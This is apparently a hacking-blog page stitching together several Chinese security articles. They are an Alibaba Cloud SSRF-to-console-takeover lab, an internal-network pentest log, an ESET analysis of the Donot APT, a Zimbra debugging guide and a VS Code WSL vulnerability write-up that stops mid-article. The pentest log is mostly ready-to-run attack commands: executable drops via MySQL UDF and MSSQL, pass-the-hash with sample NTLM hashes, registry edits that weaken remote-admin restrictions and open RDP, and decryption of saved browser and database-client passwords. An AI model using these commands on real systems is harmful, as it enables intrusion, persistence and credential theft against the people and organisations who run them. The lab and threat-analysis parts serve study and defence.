Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863106385

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00 前言

本文将以阿里云为例,对云服务中的一些攻防手法进行演示,首先利用 Terraform 进行 ECS SSRF 漏洞环境的搭建,然后通过实例中存在的 SSRF 漏洞一步步拿下该云服务账户的所有的阿里云服务权限。

0x01 环境搭建

本文采用 TerraformGoat 进行靶场的搭建,TerraformGoat 靶场地址:https://github.com/HuoCorp/TerraformGoat(opens new window)

在部署靶场时,需要用到你的阿里云 AccessKey,为了避免影响到你的云上生产环境,因此这里强烈建议使用非生产环境的 AccessKey,不要和生产环境使用同一个账号。

由于 TerraformGoat 工具的迭代更新,下述环境搭建的方法已失效,现在部署的方法更加方便友好,具体部署方法请参见上面的 TerraformGoat 靶场地址。

接下来开始搭建靶场,首先克隆靶场项目到本地,并构建下载靶场所需的依赖。

git clone https://github.com/HuoCorp/TerraformGoat.git --depth 1
cd TerraformGoat
docker build . -t terraformgoat:v0.0.3
docker run -itd --name terraformgoat terraformgoat:v0.0.3
docker exec -it terraformgoat /bin/bash

如果 github 访问较慢,可以给终端挂上代理

proxy_url="127.0.0.1:1080" && export https_proxy=http://$proxy_url http_proxy=http://$proxy_url all_proxy=socks5://$proxy_url

在进入容器后,容器会提示选择接下来要使用的云服务提供商,这里以阿里云服务为例,输入 2 选择阿里云后回车。

pnhlokyvtqt14830.png

进入到阿里云 ECS SSRF 靶场路径下,并配置你的 AccessKey

cd /TerraformGoat/aliyun/ecs/ecs_ssrf/
aliyun configure

xwut1vkma4014833.png

部署 SSRF 靶场

如果 init 初始化比较慢,挂上代理即可

在 apply 期间,会提示 Enter a value,这时输入 yes 回车即可。

zmi0kimekx114836.png

在 Outputs 处,可以看到返回的靶场地址,访问这个地址,可以看到 SSRF 测试靶场页面,这时就说明环境搭建完了。

hffhmafunuj14838.png

0x02 环境利用

当前环境存在 SSRF 漏洞,但和常规 SSRF 所处的环境不同,这里的 SSRF 漏洞是出现在云服务器上的,这也就意味着我们可以通过这个 SSRF 漏洞获取到该服务器的元数据信息。

访问元数据

jn5rqp3lq2d14841.png

在返回的结果中,可以看到当前环境存在 ram/ 目录,这也就意味着当前云服务器配置了 RAM 角色,这样我们可以获取到临时凭证了。

通过元数据获取临时凭证

这里 URL 中的 huocorp-terraform-goat-role 是 RAM 角色名称,可以通过访问 http://100.100.100.200/latest/meta-data/ram/security-credentials/ 获取到。

01esrgsgmej14846.png

将临时凭证配置到 aliyun 命令行工具里。

inls1piedce14849.png

创建子用户,并赋予管理员权限

ram CreateUser --UserName teamssix
aliyun ram CreateLoginProfile --UserName teamssix --Password TeamsSix@666
aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssix

bkpqqqixwjo14857.png

访问 https://signin.aliyun.com (opens new window)页面,通过 RAM 用户进行登录,这里的用户格式为 username@company-alias,其中 username 就是刚刚创建的用户名,company-alias 可以通过下面的这个命令获取到。

ram GetAccountAlias

g5p0jajkjmc14861.png

这里的 AccountAlias 就是我们需要的 company-alias,接下来就可以登录控制台了。

5ojex0gbslu14867.png

输入刚才创建用户时的密码

apr1k13ao3y14871.png

登录后,就可以看到目标的控制台了。

rlxtdldqbc214875.png

由于刚才在创建用户时,赋予了 AdministratorAccess 权限,因此在 RAM 访问控制处可以看到,当前账号拥有管理所有阿里云资源的权限。

nwg23mortxf14886.png

在云服务 ECS 实例中也可以看到我们刚才搭建的那台 SSRF 靶场服务器。

lvikuza4riy14892.png

至此,就实现了利用云服务器上的 SSRF 漏洞接管了阿里云控制台。

另外这个环境里还放了一个 flag 文件,你如果感兴趣的话,可以动手去尝试找到这个 flag,Writeup 地址:https://github.com/HuoCorp/TerraformGoat/tree/main/aliyun/ecs/ecs_ssrf(opens new window)

0x03 防御措施

这个环境的问题除了存在 SSRF 外,还有另外两个主要的问题:

  1. RAM 角色权限过大,导致可以通过该角色的权限进行创建子用户以及给子用户授予高权限等操作
  2. 元数据未做加固访问,导致一旦目标存在 SSRF 或目标权限被拿下,元数据就存在被获取的风险

那么针对第一个 RAM 角色权限过大的问题,主要还是需要使用者严格遵守权限最小化的原则,在为 RAM 角色赋予权限时,避免赋予过高的权限,只赋予自己所需要的权限,这样可以将影响程度降到最低,但是这并不能治本。

针对第二个元数据未做加固访问的问题,可以将实例上的元数据访问模式设置为加固模式,这是一种治本的方法,将元数据访问模式设置为加固模式有以下两种方法:

  1. 在创建实例时,可以在「系统配置」的「高级选项」中将「实例元数据访问模式」设置为「仅加固模式」

pv5cbrsr11214905.png

  1. 在已经创建好的实例中,可以在阿里云 OpenAPI 中开启元数据强制使用 Token 访问,OpenAPI 地址:https://next.api.aliyun.com/api/Ecs/2014-05-26/ModifyInstanceMetadataOptions(opens new window)

5ix11d3vd1r14914.png

将 HttpTokens 设置为 required 即表示强制使用加固模式,此时再访问元数据就会提示 403 了。

bbhghqodm2o14921.png

值得一提的是,将元数据设置为加固模式可以防止通过 SSRF 获取到元数据,但如果实例权限被拿下,那么红队还是可以通过在实例上执行获取 token 的命令,然后利用该 token 获取到元数据。

在 Linux 实例中获取 token 的命令如下:

TOKEN=`curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds: 21600"`

通过 token 获取元数据

curl -H "X-aliyun-ecs-metadata-token: $TOKEN"  http://100.100.100.200/latest/meta-data/

fbgniofm2as14926.png

对于 Windows 实例下的获取方法可以参考阿里云官方文档:https://help.aliyun.com/document_detail/108460.htm(opens new window)

将元数据访问模式设置为加固模式进而防御 SSRF 漏洞的这个方法由 2h0ng 师傅提供

0x04 环境删除

删除创建的子账号

ram DetachPolicyFromUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssix
aliyun ram DeleteUser --UserName teamssix

删除 SSRF 靶场环境,在使用完靶场后,记得及时删除,因为这里创建的云服务是按时间计费的,该靶场实例的价格为每小时 0.17 元人民币。

在销毁靶场之前,记得把 AccessKey 配置成最开始的 AccessKey,配置命令:aliyun configure --mode AK

如果想清除 TerraformGoat,可以使用以下命令,如果以后还想进行云上攻防的学习,则可以将 TerraformGoat 环境保留下来。

docker stop terraformgoat
docker rm terraformgoat
docker rmi terraformgoat:v0.0.3

0x05 总结

这里通过云上 SSRF 漏洞获取到了临时密钥,通过临时秘钥创建了一个具有管理员访问权限的子用户,最后通过这个子用户接管了目标的控制台。

但是这个方法在实战中想要使用是有一些前提的,主要前提有以下两个:

  1. ECS 实例需要被授予 RAM 角色,不然访问临时凭证的元数据会返回 404
  2. RAM 角色需要具备 ram 访问控制的相关操作权限,例如创建用户、赋予权限等,不然临时秘钥会没有创建子用户的权限。

在实战中,如果遇到了 ECS 实例被授予了 RAM 角色的情况,大多时候该角色都是不具备创建用户权限的,这时就没法通过创建子账号登录控制台的方式了,只能通过阿里云命令行工具去操作目标云服务了。

总的来说,云上攻防和常规的内网攻防还是十分不一样的。

  • 云上攻防的常见问题是配置错误,例如这里的问题就是 RAM 角色配置权限过高。
  • 云上攻防的权限维持主要方法是创建 RAM 高权限用户,而不是像传统攻防里那样有五花八门的权限维持方法。
  • 云上攻防的内网横向主要是在云服务厂商命令行或者控制台中进行横向,从这个云服务横向到另一个云服务,而不是像传统攻防那样有各种各样的内网横向手法。
  • ……

最后,本文中所提到的很多命令都是参考火线云安全知识库中的内容,知识库地址:https://cloudsec.huoxian.cn (opens new window),在知识库的首页中可以看到火线云服务攻防矩阵,本文就是依据这个攻防矩阵进行的云上攻防。

2yer5onazwd14938.png

如果你还想找到更多云安全资源进行学习,可以访问 Awesome Cloud Security 项目,该项目当前已经收录了上百余条国内外云安全博客、工具、公众号等资源,项目地址:https://github.com/teamssix/awesome-cloud-security(opens new window)

4c0himepvni14948.png

参考文章:https://cloudsec.huoxian.cn/docs/articles/aliyun/aliyun_ecs



原文连接: https://wiki.teamssix.com/CloudService/EC2/aliyun-console-takeover.html

HireHackking

内网渗透流水账

 0x00 环境

  1. Linux主机www权限
  2. 主机无法出外网
  3. 正向代理无法使用
  4. B段内网

0x01 收集信息

F-Scrack.py获取Redis, ES等

PS: Scrack.py的mssql模块爆破不准确,可以自己写一个简单的
python Scrack.py -h 10.111.1.1-10.111.2.254 -p 3306,5432 -m 200 -t 6

1.Redis

key较多的时候不要使用keys *

查看基本信息: master,数量,版本号
使用scan查看keys: scan 0 match * count 100 
查看类型: type <key>
hash类型: hgetall <key>

2.MySQL

windows下可以先测试是否可写入插件目录:

select @@plugin_dir;

select hello into outfile <plugin_dir>;

然后使用msf的自带的udf,先转换为16进制,然后导出到插件目录:

use test;
set @a=concat('', 0x<hex_of_exe>);
create table Ghost(data LONGBLOB);
insert into Ghost values("");
update Ghost set data = @a;
select data from Ghost into DUMPFILE <dir>;
create function sys_eval returns string soname 'sys_eval.dll';

drop function sys_eval; //用完删除,养成好习惯

首选SYS_EVAL, 尽量不要使用SYS_EXEC(会崩溃)

3.mssql

mssql爆破尽量放在后面执行,动静会比较大。

mssql爆破成功之后,最好使用CLR来获取权限,直接使用`xp_cmdshell`会死翘翘,360会拦截

已知mssql的用户密码,certutil等工具会被拦截或者报警,可以使用mssql自带的工具写入到硬盘:

现开启存储过程:

sp_configure 'show advanced options', 1;  
GO  
RECONFIGURE;  
GO  
sp_configure 'Ole Automation Procedures', 1;  
GO  
RECONFIGURE;  

mssql写大文件

比如exe之类的先转换为hex,然后再写入到文件:

xxd -plain /tmp/test.exe | tr -d '\n' > /tmp/dll.hex

declare @hexstring varchar(max);
set @hexstring = '转换之后的hex';
declare @file varbinary(max);
set @file = (select cast('' as xml).value('xs:hexBinary( substring(sql:variable("@hexstring"), sql:column("t.pos")) )', 'varbinary(max)')
from (select case substring(@hexstring, 1, 2) when '0x' then 3 else 0 end) as t(pos));

select @file;
declare @init int;
declare @filepath nvarchar(4000) = N'c:\22.exe';

EXEC sp_OACreate 'ADODB.Stream', @init OUTPUT; -- An instace created
EXEC sp_OASetProperty @init, 'Type', 1;
EXEC sp_OAMethod @init, 'Open'; -- Calling a method
EXEC sp_OAMethod @init, 'Write', NULL, @file; -- Calling a method
EXEC sp_OAMethod @init, 'SaveToFile', NULL, @filepath, 2; -- Calling a method
EXEC sp_OAMethod @init, 'Close'; -- Calling a method
EXEC sp_OADestroy @init; -- Closed the resources

4.mssql备份

BACKUP DATABASE <db>
TO DISK = 'C:\Windows\temp\db.bak' WITH COMPRESSION, INIT, STATS = 5;
  • 分卷压缩
rar.exe a -m0 -v100m C:\windows\temp\db.split C:\windows\tasks\db.bak

download C:\\windows\\temp\\db.split.rar /var/tmp/

6.pth

  • wmi
wmic /node:192.168.1.158 /user:pt007 /password:admin123  process call create "cmd.exe /c ipconfig>d:\result.txt"

推荐使用wmiexec.vbs:

https://github.com/l3m0n/pentest_study/blob/master/tools/wmiexec.vbs

cscript C:\Windows\Tasks\aliwmi.vbs /cmd <ip>  "C:\Windows\system32\calc.exe"
  • msf
use exploit/windows/smb/psexec 
show options
set RHOST 192.168.81.129
set SMBPass 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF
set SMBUser Administrator
show options
run
  • mimikatz || Cobalt Strike
mimikatz.exe privilege::debug "sekurlsa::pth /domain:. /user:administrator /ntlm:2D20D252A479F485CDF5E171D93985BF /run:cmd.exe" //传递hash
  • psexec
psexec /accepteula //接受许可协议
sc delete psexesvc
psexec \\192.168.1.185 -u pt007 -p admin123 cmd.exe
  • psexec.vbs
cscript psexec.vbs 192.168.1.158 pt007 admin123 "ipconfig"
  • 远程命令执行sc
net use \\192.168.17.138\c$ "admin123" /user:pt007
net use
dir \\192.168.17.138\c$
copy test.exe \\192.168.17.138\c$
sc \\192.168.17.138 create test binpath= "c:\test.exe"
sc \\192.168.17.138 start test
sc \\192.168.17.138 del test

windows远程执行cmd的9种方法: https://xz.aliyun.com/t/5957

0x03 access is denied

对于任何非RID 500的本地管理员(Administrator)连接到Windows Vista+的计算机,无论采用wmi、psexec还是其它方法,使用的令牌都是中等令牌, 使用wmiexec的时候会修暗示Access is Denied

在抓取hash的情况下,可以修改注册表,使得本地管理员组成员都可以远程连接,作为一种持久化的手段。

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f 

###RDP的PTH
抓取hash无法破解的情况下,如果使用hash远程登录RDP,需要被登录的系统开启”Restricted Admin Mode”, 在Windows8.1和Windows Server 2012R2上默认开启。Windows7和WinServer 2008需要安装2871997、2973351布丁。

1.启动RDP

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f  # 监听 3389 端口 

开启3389
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1

2.开启Restricted Admin mode

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

3.增加防火墙规则

netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=TCP localport=3389 action=allow

0x04 dump passwod

####dbeaver

dbeaver6的配置文件(不同版本存储的位置和解密方式不一样):

#密码加密存储位置:
C:\Users\<user>\AppData\Roaming\DBeaverData\workspace6\General\.dbeaver\credentials-config.json

#url和用户名:
C:\Users\<user>\AppData\Roaming\DBeaverData\workspace6\General\.dbeaver\data-sources.json

解密脚本: https://gist.github.com/felipou/50b60309f99b70b1e28f6d22da5d8e61

下载credentials-config.json脚本之后,使用python解密:python decrypt.py credentials-config.json,然后根据解密出来的id去data-sources.json里面找对应的IP和用户名。

老版本的密码是存储在:C:\Users\<users>\.dbeaver4\General\.dbeaver-data-source.xml,可以直接使用在线解密:http://dbeaver-password-decrypter.s3-website-us-west-2.amazonaws.com/

0x05 MobaXterm

有一个.ini的文件,有对应的IP信息和私钥地址
老版本的存储: C:\Users%USERNAME%\AppData\Roaming\MobaXterm
2020年的版本: C:\Users%USERNAME%\Documents\MobaXterm

0x05 VSCODE

Windows下的配置文件在这个地方:

%APPDATA%\Code\User\settings.json

可以根据配置文件找到笔记和ssh等存储位置

0x06 Firefox

三好师傅讲的很详细,我选择使用firepwd.py:

firefox的配置文件目录:
%APPDATA%\Mozilla\Firefox\Profiles\xxxxxxxx.default\

下载解密需要的文件:
key4.db和logins.json

下载解密脚本:
https://github.com/lclevy/firepwd

上面三个东西放在一个文件夹:
python3 firepwd.py 

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%AF%BC%E5%87%BAFirefox%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/

0x07 截屏

  1. CS里面的screenshot
  2. msf里面: use espia screengrab
  3. msf的持续截屏: post/windows/gather/screen_spy
  4. Win10自带: psr.exe /start /gui 0 /output C:\cool.zip /maxlogsize 1

0x08 搜索文件

在C盘搜索script.js这个文件:
dir /s /b C:\script.js


原文连接:https://jkme.github.io/2020/05/14/workgroup-pentest2.html

近日,ESET 研究人員深入研究了Donot組織在2020 年和2021 年期間針對多個南亞國家的政府和軍事對象實施的攻擊。

Donot組織(也稱為APT-C-35 和SectorE02)是一個至少從2016年開始運營的威脅組織,並以使用Windows和Android惡意軟件攻擊南亞的組織和個人而聞名。 Amnesty International最近的一份報告將該組織與一家印度網絡安全公司聯繫起來,後者可能正在向該地區的政府出售間諜軟件或提供黑客出租服務。

我們一直在密切關注Donot組織的活動,並追踪了幾起利用源自該組織的簽名yty 惡意軟件框架的Windows 惡意軟件的活動。根據我們的發現,這個組織非常執著地攻擊者一個目標,至少在過去的兩年裡一直以相同的組織為目標。

我們會在本文介紹最近活動中使用的惡意軟件的兩種變體——DarkMusical 和Gedit。對於每一種變體,我們都會分析整個攻擊鏈,並深入了解該組織如何更新其工具、策略和技術。

攻擊目標分析Donot組織的活動以間諜活動為主要載體,使用他們的簽名惡意軟件:“yty”惡意軟件框架,其主要目的是收集和洩露數據。根據我們的追踪,Donot組織專注於南亞的幾個目標——孟加拉國、斯里蘭卡、巴基斯坦和尼泊爾——如下圖所示。

1.png

Donot組織專注的目標國家

這些攻擊集中在:

政府和軍事組織;

外交部;

大使館;

除了南亞的幾個國家之外,如中東、歐洲、北美和拉丁美洲的國家也在Donot組織的攻擊範圍之內。

對於APT運營商來說,在某些情況下,這是通過部署一個更隱蔽的後門來實現的,該後門在攻擊者需要它之前一直保持安靜。在其他情況下,他們只是用新的惡意軟件或以前使用過的惡意軟件的變體重新啟動操作。後者是Donot組織操作人員的情況,只是他們在嘗試中非常堅持。

根據ESET的分析,Donot組織每隔兩到四個月就會針對同一對象發送一波又一波帶有惡意附件的釣魚郵件。有趣的是,我們能夠檢索和分析的電子郵件並沒有顯示出被誘騙的跡象。一些電子郵件是從受到攻擊的同一組織發送的。攻擊者可能已經在早期的活動中攻擊了一些受害者的電子郵件帳戶,或者這些組織使用的電子郵件服務器。

通過魚叉式網絡釣魚電子郵件,攻擊者使用惡意Microsoft Office 文檔來部署他們的惡意軟件。我們已經看到Donot組織至少使用了三種技術。一種是Word、Excel 和PowerPoint 文檔中的宏,如下圖所示。

2.png

PowerPoint 文檔中的惡意宏,它刪除了一個下載器可執行文件並創建了一個計劃任務來運行它

第二種技術是具有.doc擴展名的RTF文件,該文件利用方程編輯器中的內存破壞漏洞CVE-2017-11882,如下圖所示。這些RTF 文檔還包含兩個作為OLE 對象的嵌入式DLL,用於安裝並下載更多組件(這兩個DLL 都在Gedit 部分中進行了描述)。這允許攻擊者執行shellcode 並且不需要用戶交互,shellcode 部署了惡意軟件的主要組件。 CVE-2017-11882是微軟公佈的一個遠程執行漏洞,通殺目前市面上的所有office版本及Windows操作系統。該漏洞的成因是EQNEDT32.EXE進程在讀入包含MathType的ole數據時,在復制公式名稱名稱時沒有對名稱長度進行校驗,從而造成棧緩衝區溢出,是一個非常經典的棧溢出漏洞。上次出現這麼典型的office棧溢出漏洞是著名的CVE-2012-0158。

3.png

RTF 文檔用於加載公式編輯器的COM 對象的CLSID,隨後的OLE 對象包含CVE-2017-1182 漏洞利用

4.png

DLL 的OLE 對象標頭也嵌入在RTF 文檔中

第三種技術是遠程RTF 模板注入,它允許攻擊者在打開RTF 文檔時從遠程服務器下載有效負載。這是通過在RTF 文件格式的可選\*\template 控製字中插入URL 而不是本地文件資源的位置來實現的。 Donot組織使用的有效負載是另一個利用CVE-2017-11882 的文檔,下載後會自動加載,如下圖所示。

5.png

當Word 打開帶有遠程模板的RTF 文件時,它會自動嘗試下載資源

yty惡意軟件框架由NetScout 在2018 年發現的yty 惡意軟件框架是舊框架EHDevel 的一個不太複雜且開發不佳的變體。 yty框架由一系列下載程序組成,這些下載程序最終會下載一個帶有最小功能的後門程序,用於下載和執行Donot組織工具集的其他組件。

其中包括基於文件擴展名和創建年份的文件收集器、屏幕捕獲器、鍵盤記錄器、反向shell 等。如下圖所示,用於滲透的組件從暫存文件夾收集收集的情報,並將每個文件上傳到僅用於此目的的指定服務器。

6.png

解析暫存JPEG 屏幕截圖的文件夾名稱的組件(左)和在暫存文件夾中查找所有文件的滲透組件(右)

幾乎每個新的攻擊活動都會更改暫存文件夾的名稱和位置,以及一些組件的文件名。但是,在某些情況下,組件的名稱保持不變,例如:gedit.exe、wuaupdt.exe、lmpss.exe、disc.exe 等。如下圖所示,似乎對於每個新的活動,為了設置新的路徑和文件名,必須在源代碼中更改這些值然後重新編譯,因為這些組件都沒有使用配置塊或文件。

7.png

包含經常更改的位置和文件名的加密字符串(頂部)和用於構建CC URL 的未加密值(底部)

該惡意軟件使用計劃任務進行持久化攻擊,並在活動之間交替使用DLL 和EXE 文件。對於DLL,計劃任務執行rundll32.exe 以加載它們並執行導出的函數之一。

yty框架的開發人員主要依賴c++編程語言,可能是為了逃避檢測,他們還將其組件移植到其他語言,例如VBScript、Python(與PyInstaller 一起打包)、Visual C# 和AutoIt 等。然而,自2019 年以來,我們只看到他們利用C++和Go編程的組件。

8.png

捕獲屏幕截圖的組件的反編譯代碼,最初是用c++編寫的

9.png

用於用Go編寫的版本的組件截圖的反編譯代碼

該惡意軟件在部署過程中有時會使用兩到三個服務器。它可能在其下載鏈中使用一個服務器,而後門可能會使用另一台服務器來接收其命令並下載更多組件,或者將同一台服務器用於這兩種目的。總是使用不同的服務器上傳收集的信息。在一些攻擊中,Donot組織重用了以前攻擊的CC域——用於下載和滲透。如下圖所示,這些組件(後來被認為是DarkMusical 的變體)在同一攻擊中使用,採用了三個不同的CC 域。

10.png

第一個下載器解密服務器的URL,從該服務器下載鏈的下一個階段

11.png

在後期階段,後門使用不同的服務器進行CC 通信

12.png

滲透組件使用第三個服務器上傳收集的文件時間軸的攻擊

我們在本文中描述了從2020 年9 月到2021 年10 月的Donot組織在活動中使用的惡意軟件變體,重點關注他們的Windows 惡意軟件。為清楚起見,我們將它們分為yty 惡意軟件框架的兩個變體:Gedit 和DarkMusical,其中一個使用Gedit的特定活動,我們將其命名為Henos。

根據我們的追踪分析,攻擊的時間線如下圖所示。統計時,還包括了來自另一個變體的攻擊,稱為“Jaca框架”。然而,我們不會在本文描述它,因為它已在CN-SEC中進行過介紹。

13.png

從2020年9月到2021年10月,Donot組織的攻擊時間線

DarkMusical根據ESET 的分析,使用此變體的第一波攻擊發生在2021 年6 月,針對孟加拉國的軍事組織。我們只能恢復其下載鍊及其主要後門。鑑於受害者人數很少,我們認為這可能是一次針對性很強的攻擊。

9 月,針對尼泊爾軍事組織的第二波攻擊使用了新的CC 服務器以及文件和暫存文件夾名稱。我們能夠恢復一些從後門下載的組件,進而分析這些攻擊。

魚叉式釣魚郵件發送的PowerPoint文檔中包含一個宏,該宏部署了下載鏈的第一個組件,並使用一個計劃任務進行持久化。當潛在的受害者打開這些文檔時,他們將看到一條虛假的錯誤消息,如下圖所示,這些文檔將仍然沒有任何可見的內容。

14.png

一個空白的惡意PowerPoint 文檔的屏幕截圖

如下圖所示,下載程序鏈旨在下載最終組件,該組件用作具有最少功能的後門:它下載獨立組件,使用ShellExecute Windows API 執行它們,獲取並保存新的CC URL。 ShellExecute的功能是運行一個外部程序或者是打開一個已註冊的文件、打開一個目錄、打印一個文件等,並對外部程序有一定的控制。

後門將處理信息收集和洩露的組件下載到專用服務器。這些組件不與後門或CC 通信以報告其活動。相反,它們使用指定的文件夾來暫存數據,一個單獨的滲透組件將收集所有內容並上傳。

15.png

觀察到的DarkMusical攻擊鏈

我們決定將此活動稱為DarkMusical,因為攻擊者為其文件和文件夾選擇名稱時,許多是西方名人或電影中的角色。下表簡要描述了攻擊鏈中每個組件的用途。

DarkMusical 攻擊活動鏈中的組件:

16.png

我們在下表中描述了攻擊者工具集的每個組件的用途。

攻擊者DarkMusical 工具集中的組件描述:

16加.png

geditgedit是一個GNOME桌面環境下兼容UTF-8的文本編輯器,它使用GTK+編寫而成,它十分的簡單易用,有良好的語法高亮,支持包括gb2312、gbk在內的多種字符編碼,是一個自由軟件。

我們在2020 年9 月使用Gedit 檢測到該活動的首次攻擊,攻擊對像是巴基斯坦的一些組織,這些組織已經成為安裝了Jaca框架的魚叉式釣魚和惡意RTF文件的目標。從那時起,Donot組織開始將目標定位在孟加拉國、尼泊爾和斯里蘭卡。雖然該惡意軟件顯然源自yty 惡意軟件框架,但它們是截然不同的,與DarkMusical是兩個獨立的程序。

我們能夠檢索到與2021年2月發生的Gedit活動對應的魚叉式釣魚電子郵件,如下圖所示。第一個附件包含一份來自孟加拉國軍事對象的人員名單(沒有惡意內容)。在執行惡意代碼時,第二個附件只顯示了一個空白頁面。

17.png

攻擊者發送的魚叉式釣魚電子郵件的屏幕截圖

我們可以看到第二個文件的大小大於2 MB,這是一個利用CVE-2017-11882 刪除文檔中包含的兩個DLL 文件並執行其中一個的RTF 文件。其他組件在各個階段下載到受感染的計算機上。此攻擊鍊及其惡意軟件組件的概述如下圖所示。

18.png

Gedit 活動中的攻擊鏈

這些組件是用Go 和C++(使用MinGW 和Visual Studio 編譯器)編寫的。我們選擇描述2021 年2 月該活動中使用的組件,如下表所示。

對Gedit 變體的組件描述19.png

Henos攻擊活動

最後,值得一提的是,在2021年2月至3月間發生了一系列針對孟加拉國和斯里蘭卡軍事組織的攻擊。這些攻擊使用了Gedit惡意軟件的變體,但進行了一些小的修改。因此,我們決定將這個活動以它的後門DLL – henos.dll 命名命名為Henos。

去年2月,網上也公開了屬於這波攻擊的組件的樣本,這可能解釋了為什麼該組織不再使用這些組件的原因。

雖然我們沒有找到相應的魚叉式釣魚郵件或惡意文檔,但攻擊鏈與我們上面描述的大致相同,只是在組件的執行方式上存在一些細微差別。下圖對此進行了概述。

20.png

Henos 活動的攻擊鏈

雖然該活動的某些組件被命名為javatemp.exe 和pytemp.exe,但選擇這些文件名可能只是為了模仿Java 或Python 等合法軟件。 pytemp.exe 和plaapas.exe 是用Go 語言編碼的,而javatemp.exe 是用C++ 編碼的(用MinGW 編譯的)。

最後一點是執行文件洩漏的組件pytemp.exe 會執行檢查以查看gedit.exe 是否正在運行。如果找到兩個或更多實例,則退出。我們認為這是開發時候的錯誤,因為它應該檢查pytemp.exe。然而,這個簡單的錯誤幫助我們將Henos 活動與惡意軟件的Gedit 變體(添加到代碼相似性中)聯繫起來。

0x00 前言本文記錄從零開始搭建Zimbra漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容:

Zimbra服務器開啟調試模式

本地使用IDEA進行遠程調試

常用知識

0x02 Zimbra服務器開啟調試模式相關資料:

https://github.com/Zimbra-Community/zimbra-tools/blob/master/java-debug-zimbra-intellij-ide.md

詳細步驟如下:

1.停止Zimbra服務image.png

2.開啟調試模式image.png

此處先備份zmmailboxdmgr,再使用zmmailboxdmgr.unrestricted替換zmmailboxdmgr

3.添加調試信息image.png

注:

也可以直接修改/opt/zimbra/conf/localconfig.xml中的mailboxd_java_options屬性值

4.關閉防火牆image.png

5.重啟服務image.png

0x03 本地使用IDEA進行遠程調試1.下載jar文件本地使用IDEA進行遠程調試時,本地和遠程的代碼需要保持一致,也就是說,我們需要拿到zimbra相關的jar文件

zimbra文件位置:

/opt/zimbra/common/jetty_home/lib/

/opt/zimbra/common/jetty_home/lib/apache-jsp/

2.批量導入jar文件新建java工程,依次選擇File-Project Structure.在Libraries下選擇New Project Library-Java,設置為c:\zimbrajar\

3.添加斷點在External Libraries-zimbrajar下面打開.class文件,在合適的位置添加斷點

4.設置遠程調試參數頂部菜單欄選擇Add Configuration.在彈出的頁面中選擇Remote JVM Debug,填入遠程調試參數,參數示例:

image.png

使用的JDK選擇JDK 5-8

5.開啟Debug模式回到IDEA主頁面,選擇剛才的配置文件,點擊Debug圖標(快捷鍵Shift+F9)

如果遠程調試執行成功,斷點圖標會發生變化,增加一個對號

此時,Console頁面顯示如下:

image.png

0x04 常用知識Zimbra使用Jetty框架作為web容器

用戶在訪問jsp文件時,服務器先將JVM不認識的JSP文件解析成java文件,保存路徑為:/opt/zimbra/jetty_base/work/zimbra/jsp/org/apache/jsp/

每個jsp文件被成功訪問後,都會註冊一個JspServletWrapper實例,我們可以通過調試器查看request變量獲得所有已註冊的JspServletWrapper實例,也可以通過反射的方式以jsp文件的形式進行枚舉

jsp文件代碼示例:

image.png

整個反射的邏輯來自於跟踪調試的結果,實現邏輯不唯一,枚舉JspServletWrapper實例用到了ConcurrentHashMap枚舉

0x05 小結在我們搭建好Zimbra漏洞調試環境後,接下來就可以著手對漏洞和Jetty框架進行研究學習。

適用於Linux 的Windows 子系統中的Visual Studio Code 服務器使用本地WebSocket WebSocket 連接與遠程WSL 擴展進行通信。網站中的JavaScript 可以連接到該服務器並在目標系統上執行任意命令。目前該漏洞被命名為CVE-2021-43907。

這些漏洞可以被用於:

本地WebSocket 服務器正在監控所有接口。如果允許通過Windows 防火牆,外部應用程序可能會連接到此服務器。

本地WebSocket 服務器不檢查WebSocket 握手中的Origin 標頭或具有任何身份驗證模式。瀏覽器中的JavaScript 可以連接到該服務器。即使服務器正在監控本地主機,也是如此。

我們可以在特定端口上生成一個Node Inspector示例,它還監控所有接口。外部應用程序可以連接到它。

如果外部應用程序或本地網站可以連接到這些服務器中的任何一個,它們就可以在目標計算機上運行任意代碼。

關於源代碼的說明Visual Studio Code 庫是不斷更新的。我將使用一個特定的提交(b3318bc0524af3d74034b8bb8a64df0ccf35549a)。

$gitclonehttps://github.com/microsoft/vscode$gitreset--hardb3318bc0524af3d74034b8bb8a64df0ccf35549a我們可以使用Code (lol) 來導航源代碼。事實上,我已經在WSL 中為這個漏洞創建了具有相同擴展名的概念驗證。

Visual Studio Code在WSL 內以服務器模式運行,並與Windows 上的代碼示例對話(我稱之為代碼客戶端)。這使我們可以在WSL 中編輯文件和運行應用程序,而不需要運行其中的所有內容。

3.png

遠程開發架構

可以通過SSH 和容器在遠程計算機上進行遠程開發。 GitHub Codespaces 使用相同的技術(很可能通過容器)。

在Windows 上使用它的方法:

1.打開一個WSL終端示例,在Windows上的代碼中應該可以看到遠程WSL擴展;

2.在WSL 中運行code /path/to/something;

3.如果未安裝代碼服務器或已過時,則會下載它;

4.VS Code 在Windows 上運行;

5.你可能會收到一個Windows 防火牆彈出窗口,用於執行如下所示的可執行文件:

4.png

服務器的防火牆對話框

這個防火牆對話框是我執行失敗的原因。出現該對話框是因為VS Code 服務器想要監控所有接口。

從我信任的Process Monitor開始:

